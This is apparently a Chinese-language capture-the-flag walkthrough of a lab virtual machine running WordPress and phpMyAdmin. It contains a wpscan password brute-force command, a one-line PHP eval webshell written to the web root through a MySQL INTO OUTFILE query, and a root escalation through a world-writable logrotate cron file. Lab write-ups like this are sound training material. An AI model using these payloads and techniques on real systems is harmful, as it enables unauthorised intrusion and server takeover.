MAC Address: 00:0C:29:D9:B7:22 (VMware)看到了存在一个目录是wordpress和PHPmyadmin！没什么其他的漏洞信息！
寻找立足点
尝试访问一下80端口上的信息：
尝试访问就是apache的默认界面，访问一下wordpress的界面：
wordpress的资源太多，无法完整的看到界面，还有phpmyadmin也尝试访问一下：
尝试访问了一下，试了几个弱口令，但是没能成功！还是先在80端口上寻找突破点！利用wpscan进行初步的wordpress的信息探测！
发现存在两个用户：lemon 和 orange！换了一个浏览器，发现了：
尝试爆破了wordpress的登陆界面以及phpmyadmin的登陆界面，均没有什么突破！
sql注入的话，感觉search界面也没有~
尝试直接使用wpscan进行密码的枚举：
wpscan --url http://192.168.1.105/wordpress -e u -P /usr/share/wordlists/rockyou.txt
很快就得到了一个密码，这里我就没有继续去探测lemon的密码了，rockyou的字典数量实在是太大了！登录wordpress！发现没有插件等！
但是发现了一串奇怪的字符！尝试phpmyadmin进行登录，发现成功了！看了一下数据库中的wp_user表！发现了里面存在lemon的加密密码，但是解密失败了！
直接尝试phpmyadmin！getshell！ 先看看into outfile方法！
查看mysql的安装目录：
select @@basedir; 查找mysql安装路径
show global variables like '%secure_file_priv%';
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'
但是没有权限去写入文件！
尝试像wordpress目录下面去写文件试试：
成功了，访问一下看看！
没问题执行成功！准备提权了！
提权
执行利用这个马建立反弹shell吧：
当前没有sudo；查看存在的suid文件，发现了：
存在pkexec，暂时先不利用；继续看其他的！
查看/etc/passwd文件，看到了存在orange用户，不知道是不是上面的两个密码，尝试切换用户试一下：
n0t1n@w0rdl1st!
ginger
两个密码都不对~ 后面上传了linpeas，发现了user.txt文件：
音乐可以改变你的生活，暂时不知道这个提示有什么用！查看定时任务：
也没什么发现，看到了etc/crontab里面存在logrotate！
发现这个文件是777的权限！那就直接写提权代码到这个文件中，利用定时任务进行提权！
写入之后，起一个监听：
最终通过定时任务收到会话，查看flag文件！
最终读取到了flag文件！
